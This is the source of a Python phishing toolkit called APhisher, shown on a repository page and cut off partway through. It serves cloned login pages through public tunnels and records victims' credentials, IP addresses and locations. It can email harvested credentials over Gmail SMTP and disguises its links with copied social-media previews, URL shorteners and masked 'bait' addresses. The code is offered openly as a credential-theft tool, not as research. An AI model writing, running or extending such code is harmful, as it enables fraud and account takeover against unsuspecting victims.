-
Notifications
You must be signed in to change notification settings - Fork 0
/
APhisher.py
1527 lines (1391 loc) · 51.2 KB
/
APhisher.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# ToolName : APhisher
# Author : Aarav Shah
# Copyright : Aarav Programmers
# Contact : https://m.me/aaravprogrammers
# Description: APhisher is a phishing tool in python
# Tags : Multi phishing, login phishing, image phishing, video phishing, clipboard steal
# Language : Python
# Portable file/script
# If you copy open source code, consider giving credit
from argparse import ArgumentParser
from importlib import import_module as eximport
from hashlib import sha256
from json import (
dumps as stringify,
loads as parse
)
from os import (
getenv,
kill,
listdir,
makedirs,
mkdir,
mknod,
popen,
remove,
)
from os.path import (
abspath,
basename,
dirname,
isdir,
isfile,
join
)
from platform import uname
from re import search, sub
from shutil import (
copy2,
get_terminal_size,
rmtree,
)
from signal import (
SIGINT,
)
from subprocess import (
DEVNULL,
PIPE,
Popen,
run
)
from smtplib import SMTP_SSL as smtp
from sys import (
stdout,
version_info
)
from tarfile import open as taropen
from time import (
sleep,
)
from zipfile import ZipFile
# Color snippets
black="\033[0;30m"
red="\033[0;31m"
bred="\033[1;31m"
green="\033[0;32m"
bgreen="\033[1;32m"
yellow="\033[0;33m"
byellow="\033[1;33m"
blue="\033[0;34m"
bblue="\033[1;34m"
purple="\033[0;35m"
bpurple="\033[1;35m"
cyan="\033[0;36m"
bcyan="\033[1;36m"
white="\033[0;37m"
nc="\033[00m"
version="1.0.0"
# Regular Snippets
ask = f"{green}[{white}?{green}] {yellow}"
success = f"{yellow}[{white}√{yellow}] {green}"
error = f"{blue}[{white}!{blue}] {red}"
info = f"{yellow}[{white}+{yellow}] {cyan}"
info2 = f"{green}[{white}•{green}] {purple}"
# Modifying this could be potentially dangerous
logo = f"""
{red} _____ ____ _ _ _
{cyan} / _ \ | _ \| |__ (_)___| |__ ___ _ __
{yellow} / / \ \ | |_) | '_ \| / __| '_ \ / _ \ '__|
{blue} / ===== \ | __/| | | | \__ \ | | | __/ |
{red} /__/ \__\ |_| |_| |_|_|___/_| |_|\___|_|
{yellow}{" "*35} [{blue}v{version[:3]}{yellow}]
{cyan}{" "*36}[{blue}By {green}Aarav Shah{cyan}]
"""
lx_help = f"""
{info}Steps: {nc}
{blue}[1]{yellow} Go to {green}https://localxpose.io
{blue}[2]{yellow} Create an account
{blue}[3]{yellow} Login to your account
{blue}[4]{yellow} Visit {green}https://localxpose.io/dashboard/access{yellow} and copy your authtoken
"""
shadow_help="""
Shadow url is the url from which website previews are copied.
When sending url through social media like facebook/telegram,
the previews are shown just below the url
"""
redir_help="""
Redirection url is the url which is used to redirect victim after successful login
"""
curl_help="""
Just a shortened url with your own masking
"""
zip_help="""
Add more templates from a zip file which will be downloaded from input url
"""
packages = [ "git", "php", "ssh" ]
modules = [ "requests", "rich", "beautifulsoup4:bs4" ]
tunnelers = [ "cloudflared", "loclx" ]
processes = [ "php", "ssh", "cloudflared", "loclx", "localxpose", ]
extensions = [ "png", "gif", "webm", "mkv", "mp4", "mp3", "wav", "ogg" ]
try:
test = popen("cd $HOME && pwd").read()
except:
exit()
supported_version = 3
if version_info[0] != supported_version:
print(f"{error}Only Python version {supported_version} is supported!\nYour python version is {version_info[0]}")
exit(0)
for module in modules:
if ":" in module:
module, importer = module.split(":")
else:
importer = module
try:
eximport(importer)
except ImportError:
try:
print(f"Installing {module}")
run(f"pip3 install {module} --break-system-packages", shell=True)
except:
print(f"{module} cannot be installed! Install it manually by {green}'pip3 install {module}'")
exit(1)
except:
exit(1)
for module in modules:
if ":" in module:
module, importer = module.split(":")
else:
importer = module
try:
eximport(importer)
except:
print(f"{module} cannot be installed! Install it manually by {green}'pip3 install {module}'")
exit(1)
from requests import (
get,
post,
head,
Session
)
from bs4 import BeautifulSoup
from requests.exceptions import ConnectionError
from rich.console import Console
from rich.panel import Panel
from rich.progress import (
BarColumn,
Progress,
TextColumn,
TimeRemainingColumn,
TransferSpeedColumn
)
from rich.traceback import install as override_default_traceback
override_default_traceback()
cprint = Console().print
# Get Columns of Screen
columns = get_terminal_size().columns
# CF = Cloudflared, LX = LocalXpose, LHR = LocalHostRun
home = getenv("HOME")
ssh_dir = f"{home}/.ssh"
sites_dir = f"{home}/.maxsites"
templates_file = f"{sites_dir}/templates.json"
tunneler_dir = f"{home}/.tunneler"
php_file = f"{tunneler_dir}/php.log"
cf_file = f"{tunneler_dir}/cf.log"
lx_file = f"{tunneler_dir}/loclx.log"
lhr_file = f"{tunneler_dir}/lhr.log"
svo_file = f"{tunneler_dir}/svo.log"
site_dir = f"{home}/.site"
cred_file = f"{site_dir}/usernames.txt"
ip_file = f"{site_dir}/ip.txt"
info_file = f"{site_dir}/info.txt"
location_file = f"{site_dir}/location.txt"
log_file = f"{site_dir}/log.txt"
main_ip = "ip.txt"
main_info = "info.txt"
main_cred = "creds.txt"
main_location = "location.txt"
cred_json = "creds.json"
info_json = "info.json"
location_json = "location.json"
email_file = "main_email.json"
error_file = "error.log"
is_mail_ok = False
redir_url = ""
email = ""
password = ""
receiver = ""
cf_command = f"{tunneler_dir}/cloudflared"
lx_command = f"{tunneler_dir}/loclx"
if isdir("/data/data/com.termux/files/home"):
termux = True
cf_command = f"termux-chroot {cf_command}"
lx_command = f"termux-chroot {lx_command}"
saved_file = "/sdcard/.creds.txt"
else:
termux = False
saved_file = f"{home}/.creds.txt"
print(f"\n{info}Please wait!{nc}")
default_port = 8080
default_tunneler = "Cloudflared"
default_fest = "Birthday"
default_ytid = "6hHmkInZkMQ"
default_duration = 5000
default_type = "2"
default_template = "1"
if termux:
default_dir = "/sdcard/Media"
else:
default_dir = f"{home}/Media"
argparser = ArgumentParser()
argparser.add_argument("-p", "--port", type=int, default=default_port, help=f"APhisher's server port [Default : {default_port}]")
argparser.add_argument("-t", "--type", help="APhisher's phishing type index [Default : null]")
argparser.add_argument("-o", "--option", help="APhisher's template index [ Default : null ]")
argparser.add_argument("-T", "--tunneler", default=default_tunneler, help=f"Tunneler to be chosen while url shortening [Default : {default_tunneler}]")
argparser.add_argument("-r", "--region", help="Region for loclx [Default: auto]")
argparser.add_argument("-S", "--subdomain", help="Subdomain for loclx [Pro Account] (Default: null)")
argparser.add_argument("-d", "--directory", default=default_dir, help=f"Directory where media files will be saved [Default : {default_dir}]")
argparser.add_argument("-f", "--fest", default=default_fest, help=f"Festival name for fest template [Default: {default_fest}]")
argparser.add_argument("-i", "--ytid", default=default_ytid, help=f"Youtube video ID for yttv template [Default : {default_ytid} (NASA Video)]")
argparser.add_argument("-u", "--url", help="Redirection url for ip-tracking or login phishing [Default : null]")
argparser.add_argument("-s", "--duration", type=int, default=default_duration, help=f"Media duration while capturing [Default : {default_duration}(ms)]")
argparser.add_argument("-m", "--mode", help="Mode of APhisher [Default: normal]")
argparser.add_argument("-e", "--troubleshoot", help="Troubleshoot a tunneler [Default: null]")
argparser.add_argument("--nokey", help="Use localtunnel without ssh key [Default: False]", action="store_false")
argparser.add_argument("--kshrt", help="Show kshrt url [Default: False]", action="store_true")
argparser.add_argument("--noupdate", help="Skip update checking [Default : False]", action="store_false")
args = argparser.parse_args()
port = args.port
ptype = args.type
option = args.option
region = args.region
subdomain = args.subdomain
tunneler = args.tunneler
fest = args.fest
ytid = args.ytid
url = args.url
directory = args.directory
duration = args.duration
mode = args.mode
troubleshoot = args.troubleshoot
key = args.nokey if mode != "test" else False
update = args.noupdate
kshrt = args.kshrt
local_url = f"127.0.0.1:{port}"
ts_commands = {
"cloudflared": f"{cf_command} tunnel -url {local_url}",
"localxpose": f"{lx_command} tunnel http -t {local_url}",
"localhostrun": f"ssh -R 80:{local_url} localhost.run -T -n",
"serveo": f"ssh -R 80:{local_url} serveo.net -T -n",
"cf": f"{cf_command} tunnel -url {local_url}",
"loclx": f"{lx_command} tunnel http -t {local_url}",
"lhr": f"ssh -R 80:{local_url} localhost.run -T -n",
"svo": f"ssh -R 80:{local_url} serveo.net -T -n"
}
# My utility functions
# Check if a process is running by 'command -v' command. If it has a output exit_code will be 0 and package is already installed
def is_installed(package):
return bgtask(f"command -v {package}").wait() == 0
# Check if a process is running by 'pidof' command. If pidof has a output exit_code will be 0 and process is running
def is_running(process):
exit_code = bgtask(f"pidof {process}").wait()
if exit_code == 0:
return True
return False
# Check if a json is valid
def is_json(myjson):
try:
parse(myjson)
return True
except:
return False
# A simple copy function
def copy(path1, path2):
if isdir(path1):
for item in listdir(path1):
old_file = join(path1, item)
new_file = join(path2, item)
if isdir(old_file):
copy(old_file, new_file)
else:
makedirs(dirname(new_file), exist_ok=True)
copy2(old_file, new_file)
#copytree(path1, path2)
#shell(f"cp -r {path1} {path2}")
if isfile(path1):
if isdir(path2):
copy2(path1, path2)
# Delete files/folders if exist
def delete(*paths, recreate=False):
for path in paths:
if isdir(path):
if recreate:
rmtree(path)
mkdir(path)
else:
rmtree(path)
if isfile(path):
remove(path)
# A poor alternative of GNU/Linux 'cat' command returning file content
def cat(file):
if isfile(file):
with open(file, "r") as filedata:
return filedata.read()
return ""
# Another poor alternative of GNU/Linux 'sed' command to replace and write
def sed(text1, text2, filename1, filename2=None, occurences=None):
filedata1 = cat(filename1)
if filename2 is None:
filename2 = filename1
if occurences is None:
filedata2 = filedata1.replace(text1, text2)
else:
filedata2 = filedata1.replace(text1, text2, occurences)
write(filedata2, filename2)
# Another poor alternative of GNU/Linux 'grep' command for regex search
def grep(regex, target):
if isfile(target):
content = cat(target)
else:
content = target
results = search(regex, content)
if results is not None:
return results.group(1)
return ""
# Write/Append texts to a file
def write(text, filename):
with open(filename, "w") as file:
file.write(str(text)+"\n")
# Write/Append texts to a file
def append(text, filename):
with open(filename, "a") as file:
file.write(str(text)+"\n")
def get_ver(ver):
return int(ver.replace(".", "", 2))
# Print lines slowly
def sprint(text, second=0.05):
for line in text + '\n':
stdout.write(line)
stdout.flush()
sleep(second)
# Prints colorful texts
def lolcat(text):
if is_installed("lolcat"):
run(["lolcat"], input=text, text=True)
else:
print(text)
# Center text
def center_text(text):
lines = text.splitlines()
if len(lines) > 1:
minlen = min([len(line) for line in lines if len(line)!=0]) + 8
new_text = ""
for line in lines:
padding = columns + len(line) - minlen
if columns % 2 == 0 and padding % 2 == 0:
padding += 1
new_text += line.center(padding) + "\n"
return new_text
else:
return text.center(columns+8)
# Print decorated file content
def show_file_data(file):
lines = cat(file).splitlines()
text = ""
for line in lines:
text += f"[cyan][[/][green]*[/][cyan]][/][yellow] {line}[/]\n"
cprint(
Panel(
text.strip(),
title="[bold green]\x4d\x61\x78\x50\x68\x69\x73\x68\x65\x72[/][cyan] Data[/]",
title_align="left",
border_style="blue",
)
)
# Generate json file from txt
def text2json(text):
json = {}
lines = text.splitlines()
for line in lines:
if ":" in line:
key = line.split(":")[0]
value = line.split(":")[1]
for _ in line:
json[key.strip()] = value.strip()
return json
# Append new entry in array and write in json file
def add_json(json, filename):
content = cat(filename)
if is_json(content) or content == "":
if content == "":
new_content = []
if is_json(content):
new_content = parse(content)
if isinstance(new_content, list):
new_content.append(json)
string = stringify(new_content, indent=2)
write(string, filename)
# Run shell commands in python
def shell(command, capture_output=False):
try:
return run(command, shell=True, capture_output=capture_output)
except Exception as e:
append(e, error_file)
# return run(command.split(" "), shell=True)
# return call(command, shell=True)
# Run task in background supressing output by setting stdout and stderr to devnull
def bgtask(command, stdout=PIPE, stderr=DEVNULL, cwd="./"):
try:
return Popen(command, shell=True, stdout=stdout, stderr=stderr, cwd=cwd)
except Exception as e:
append(e, error_file)
def get_meta(url):
# Facebook requires some additional header
headers = {
"user-agent": "Mozilla/5.0 (Linux; Android 8.1.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.99 Safari/537.36",
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"accept-language": "en-GB,en-US;q=0.9,en;q=0.8"
}
if "facebook" in url:
headers.update({
"upgrade-insecure-requests": "1",
"dnt": "1",
"content-type": "application/x-www-form-url-encoded",
"origin": "https://m.facebook.com",
"referer": "https://m.facebook.com/",
"sec-fetch-site": "same-origin",
"sec-fetch-mode": "cors",
"sec-fetch-user": "empty",
"sec-fetch-dest": "document",
"sec-ch-ua-platform": "Android",
"accept-encoding": "gzip, deflate br"
})
allmeta = ""
try:
response = get(url, headers=headers).text
soup = BeautifulSoup(response, "html.parser")
metas = soup.find_all("meta")
if metas is not None and metas!=[]:
allmeta = "\n".join([str(meta) for meta in metas])
except Exception as e:
append(e, error_file)
return allmeta
# Replace the default ugly exception message
def exception_handler(e):
lines_arr = []
tb = e.__traceback__
while tb is not None:
if tb.tb_frame.f_code.co_filename == abspath(__file__):
lines_arr.append(str(tb.tb_lineno))
tb = tb.tb_next
name = type(e).__name__
append(e, error_file)
if ":" in str(e):
message = str(e).split(":")[0]
elif "(" in str(e):
message = str(e).split("(")[0]
else:
message = str(e)
line_no = lines_arr[len(lines_arr) - 1]
lines_no = ", ".join(lines_arr)
print(f"{error}{name}: {message} at lines {lines_no}")
# Website chooser
def show_options(sites, is_main=True, is_login=False):
total_sites = len(sites)
def optioner(index, max_len):
# Avoid RangeError/IndexError
if index >= total_sites:
return ""
# Add 0 before single digit number
new_index = str(index+1) if index >= 9 else "0"+str(index+1)
# To fullfill max length of a part we append empty space
space = " " * (max_len - len(sites[index]))
return f"{green}[{white}{new_index}{green}] {yellow}{sites[index]}{space}"
# Array index starts from 0
first_index = 0
# Three columns
one_third = int(total_sites/3)
# If there is modulus, that means some entries are remaining, we need an extra row
if total_sites%3 > 0:
one_third += 1
options = "\n\n"
# First index of last line should be less than one-third of total
while first_index < one_third and total_sites > 10:
second_index = first_index + one_third
third_index = second_index + one_third
options += optioner(first_index, 23) + optioner(second_index, 17) + optioner(third_index, 1) + "\n"
first_index += 1
if total_sites < 10:
for i in range(total_sites):
options += optioner(i, 20) + "\n"
options += "\n"
if is_main:
options += f"{green}[{white}a{green}]{yellow} About {green}[{white}0{green}]{yellow} Exit\n\n"
else:
if is_login and isfile(saved_file) and cat(saved_file)!="":
options += f"{green}[{white}a{green}]{yellow} About {green}[{white}s{green}]{yellow} Saved {green}[{white}x{green}]{yellow} Main Menu {green}[{white}0{green}]{yellow} Exit\n\n"
else:
options += f"{green}[{white}a{green}]{yellow} About {green}[{white}x{green}]{yellow} Main Menu {green}[{white}0{green}]{yellow} Exit\n\n"
lolcat(options)
# Clear the screen and show logo
def clear(fast=False, lol=False):
shell("clear")
if fast:
print(logo)
elif lol:
lolcat(logo)
else:
sprint(logo, 0.01)
# Install packages
def installer(package, package_name=None):
if package_name is None:
package_name = package
for pacman in ["pkg", "apt", "apt-get", "apk", "yum", "dnf", "brew", "pacman"]:
# Check if package manager is present but php isn't present
if is_installed(pacman):
if not is_installed(package):
sprint(f"\n{info}Installing {package}{nc}")
if pacman=="pacman":
shell(f"sudo {pacman} -S {package_name} --noconfirm")
elif pacman=="apk":
if is_installed("sudo"):
shell(f"sudo {pacman} add {package_name}")
else:
shell(f"{pacman} add -y {package_name}")
elif is_installed("sudo"):
shell(f"sudo {pacman} install -y {package_name}")
else:
shell(f"{pacman} install -y {package_name}")
break
if is_installed("brew"):
if not is_installed("cloudflare"):
shell("brew install cloudflare/cloudflare/cloudflared")
if not is_installed("localxpose"):
shell("brew install localxpose")
# Process killer
def killer():
# Previous instances of these should be stopped
for process in processes:
if is_running(process):
# system(f"killall {process}")
output = shell(f"pidof {process}", True).stdout.decode("utf-8").strip()
if " " in output:
for pid in output.split(" "):
kill(int(pid), SIGINT)
elif output != "":
kill(int(output), SIGINT)
else:
print()
# Internet Checker
def internet(url="https://api.github.com", timeout=5):
while update:
try:
head(url=url, timeout=timeout)
break
except ConnectionError:
print(f"\n{error}No internet!{nc}\007")
sleep(2)
except Exception as e:
print(f"{error}{str(e)}")
# Send mail by smtp library
def send_mail(msg):
global email, password, receiver
message = f"From: {email}\nTo: {receiver}\nSubject: \x4d\x61\x78\x50\x68\x69\x73\x68\x65\x72 Login Credentials\n\n{msg}"
try:
internet()
with smtp('smtp.gmail.com', 465) as server:
server.login(email, password)
server.sendmail(email, receiver, message)
except Exception as e:
append(e, error_file)
print(f"{error}{str(e)}")
# Bytes to KB, MB converter
def readable(byte, precision = 2, is_speed = False):
for unit in ["Bt","KB","MB","GB"]:
floatbyte = round(byte, precision)
space = ' ' * (6 - len(str(floatbyte)))
if byte < 1024.0:
if is_speed:
size = f"{floatbyte} {unit}/s{space}"
else:
size = f"{floatbyte} {unit}{space}"
break
byte /= 1024.0
return size
# Download files with progress bar
def download(url, path):
from time import ctime, time
session = Session()
filename = basename(path)
directory = dirname(path)
retry = 3
if directory!="" and not isdir(directory):
mkdir(directory)
newfile = filename.split(".")[0] if "." in filename else filename
newname = filename if len(filename) <= 12 else filename[:9]+"..."
for i in range(retry):
try:
print()
with open(path, "wb") as file:
response = session.get(url, stream=True, timeout=20)
total_length = response.headers.get('content-length')
if total_length is None: # no content length header
file.write(response.content)
else:
total_length = int(total_length)
with Progress(
TextColumn("[bold blue]{task.fields[filename]}", justify="right"),
BarColumn(bar_width=None),
"[progress.percentage]{task.percentage:>3.1f}%",
"•",
TransferSpeedColumn(),
"•",
TimeRemainingColumn()
) as progress:
task = progress.add_task(newfile, total=total_length, filename=newfile.title())
for data in response.iter_content(chunk_size=4096):
file.write(data)
progress.update(task, advance=len(data))
break
except Exception as e:
remove(path)
append(e, error_file)
print(f"\n{error}Download failed due to: {str(e)}")
print(f"\n{info}Retrying {i}/{retry}{nc}")
sleep(1)
if not isfile(path):
print(f"\n{error}Download failed permanently!")
pexit()
# Extract zip/tar/tgz files
def extract(filename, extract_path='.', pwd=None):
directory = dirname(extract_path)
newfile = filename.split(".")[0] if "." in filename else filename
if directory!="" and not isdir(directory):
mkdir(directory)
print(f"\n{info}Extracting {green}{newfile.title()}{nc}...\n")
try:
if ".zip" in filename:
with ZipFile(filename, 'r') as zip_ref:
try:
if pwd is None:
zip_ref.extractall(extract_path)
else:
try:
zip_ref.extractall(extract_path, pwd=bytes(pwd, "utf-8"))
except:
print(f"\n{error}Wrong password!")
delete(filename)
exit()
except:
print(f"\n{error}Zip file corrupted!")
delete(filename)
exit()
return
tar = taropen(filename, 'r')
for item in tar:
tar.extract(item, extract_path)
# Recursion if childs are tarfile
if ".tgz" in item.name or ".tar" in item.name:
extract(item.name, "./" + item.name[:item.name.rfind('/')])
except Exception as e:
append(e, error_file)
delete(filename)
print(f"{error}{str(e)}")
exit(1)
def get_media():
extension_filter = lambda filename: filename.split('.')[-1] in extensions
media_files = []
for filename in filter(extension_filter, listdir(site_dir)):
if filename not in ["desc.png", "kk.jpg"]:
media_files.append(f"{site_dir}/{filename}")
return media_files
def write_meta(url):
while True:
if url is None or url == "":
metaurl = input(f"\n{ask}{bcyan}Enter shadow url {green}({blue}for social media preview{green}){bcyan}[{red}press enter to skip{bcyan}] : {green}")
else:
metaurl = url
if metaurl=="":
break
elif metaurl == "help":
sprint(shadow_help)
else:
allmeta = get_meta(metaurl)
if allmeta=="":
print(f"\n{error}No preview generated from specified URL!")
write(allmeta, f"{site_dir}/meta.php")
break
def write_redirect():
global url, redir_url
while True:
if url is None or url == "":
redirect_url = input(f"\n{ask}{bcyan}Enter redirection url{bcyan}[{red}press enter to skip{bcyan}] : {green}")
else:
redirect_url = url
if redirect_url is None or redirect_url == "":
redirect_url = redir_url
sed("redirectUrl", redirect_url, f"{site_dir}/login.php")
break
else:
sed("redirectUrl", redirect_url, f"{site_dir}/login.php")
break
if redirect_url == "help":
sprint(shadow_help)
# Polite Exit
def pexit():
killer()
sprint(f"\n{info2}Thanks for using!\n{nc}")
exit(0)
# Set up loclx authtoken to work with loclx links
def lx_token():
global lx_command
while True:
status = shell(f"{lx_command} account status", True).stdout.decode("utf-8").strip().lower()
if not "error" in status:
break
has_token = input(f"\n{ask}Do you have loclx access token? [y/N/help]: {green}")
if has_token == "y":
shell(f"{lx_command} account login")
break
elif has_token == "help":
sprint(lx_help, 0.01)
sleep(3)
elif has_token in ["n", ""]:
break
else:
print(f"\n{error}Invalid input '{has_token}'!")
sleep(1)
def ssh_key():
if key and not isfile(f"{ssh_dir}/id_rsa"):
is_no_pass = bgtask(f"ssh-keygen -y -P '' -f {ssh_dir}/id_rsa").wait()
if is_no_pass != 0:
pass
# delete(ssh_dir)
print(nc)
shell(f"mkdir -p {ssh_dir} && ssh-keygen -N '' -t rsa -f {ssh_dir}/id_rsa")
is_known = bgtask("ssh-keygen -F localhost.run").wait()
if is_known != 0:
shell(f"ssh-keyscan -H localhost.run >> {ssh_dir}/known_hosts", True)
is_known2 = bgtask("ssh-keygen -F serveo.net").wait()
if is_known2 != 0:
shell(f"ssh-keyscan -H serveo.net >> {ssh_dir}/known_hosts", True)
# Additional configuration for login phishing
def set_login():
write_meta(None)
write_redirect()
# Additional configuration for image phishing
def set_image():
global fest, ytid
sed("festName", fest, f"{site_dir}/index.html.php")
ytid = sub("([/%+&?={} ])", "", ytid)
sed("ytId", ytid, f"{site_dir}/index.html.php")
# Additional configuration for video phishing
def set_duration():
global duration
recordingTime = str(duration)
sed("recordingTime", recordingTime, f"{site_dir}/recorder.js")
# Set redirection after data capture
def set_redirect(redir_url, write=False):
global mask, url
if redir_url != "":
if url is not None:
website = url
else:
website = input(f"\n{ask}Enter the url to redirect {cyan}[{purple}press enter to use default{cyan}]{blue}> {green}")
if website == "":
website = redir_url
if write:
write_meta(website)
if mask == "":
mask = f'https://{sub("([/%+&?={} ])", "-", sub("https?://", "", website))}'
sed("redirectUrl", website, f"{site_dir}/index.php")
def add_zip():
while True:
zip_url = input(f"\n{ask}Enter the download url of zipfile: ")
if zip_url is None or zip_url == "":
sprint("{error}No URL specified")
break
elif zip_url=="help":
sprint(zip_help)
else:
download(zip_url, "sites.zip")
pwd = input(f"\n{ask}Enter the password of zipfile: ")
extract("sites.zip", sites_dir, pwd)
remove("sites.zip")
break
# Output urls
def url_manager(url, tunneler):
global mask
masked = mask + "@" + url.replace('https://','')
title = f"[bold cyan]{tunneler}[/]"
text = f"[blue]URL[/] [green]:[/] [yellow]{url}[/]\n[blue]MaskedURL[/] [green]:[/] [yellow]{masked}[/]"
cprint(
Panel(
text,
title=title,
title_align="left",
border_style="green"
)
)
#print(f"\n{info2}{arg1} > {yellow}{url}")
#print(f"{info2}{arg2} > {yellow}{mask}@{url.replace('https://','')}")
sleep(0.5)
def kshrten(url):
route_map = {
".trycloudflare.com": "cf",
".loclx.io": "lx",
".lhr.life": "lhr",
".lhr.pro": "lhro",
".serveo.net": "svo",
}
for key in route_map.keys():
if key in url:
route = route_map[key]
subdomain = url.replace("https://", "").replace(key, "")
website = f"https://krshrt.vercel.app/{route}/{subdomain}"
internet()
try:
res = post(website).text
except Exception as e:
append(e, error_file)
res = ""
shortened = res.split("\n")[0] if "\n" in res else res
if "https://" not in shortened:
return ""
return shortened
def shortener1(url):
website = "https://is.gd/create.php?format=simple&url="+url.strip()
internet()
try:
res = get(website).text
except Exception as e:
append(e, error_file)
res = ""
shortened = res.split("\n")[0] if "\n" in res else res
if "https://" not in shortened:
return ""
return shortened
def shortener2(url):
website = "https://api.shrtco.de/v2/shorten?url="+url.strip()
internet()
try:
res = get(website).text
json_resp = parse(res)
except Exception as e:
append(e, error_file)
json_resp = ""
if json_resp != "":
if json_resp["ok"]:
return json_resp["result"]["full_short_link"]
return ""
def shortener3(url):
website = "https://tinyurl.com/api-create.php?url="+url.strip()
internet()
try:
res = get(website).text
except Exception as e:
append(e, error_file)
res = ""
shortened = res.split("\n")[0] if "\n" in res else res
if "http://" not in shortened and "https://" not in shortened:
return ""
return shortened
# Copy website files from custom location
def customfol():
global mask
while True:
has_files = input(f"\n{ask}Do you have custom site files?[y/N/b] > {green}")
if has_files == "y":
fol = input(f"\n{ask}Enter the directory > {green}")
if isdir(fol):
if isfile(f"{fol}/index.php") or isfile(f"{fol}/index.html"):
inputmask = input(f"\n{ask}Enter a bait sentence (Example: free-money) > {green}")
# Remove slash and spaces from mask
mask = "https://" + sub("([/%+&?={} ])", "-", inputmask)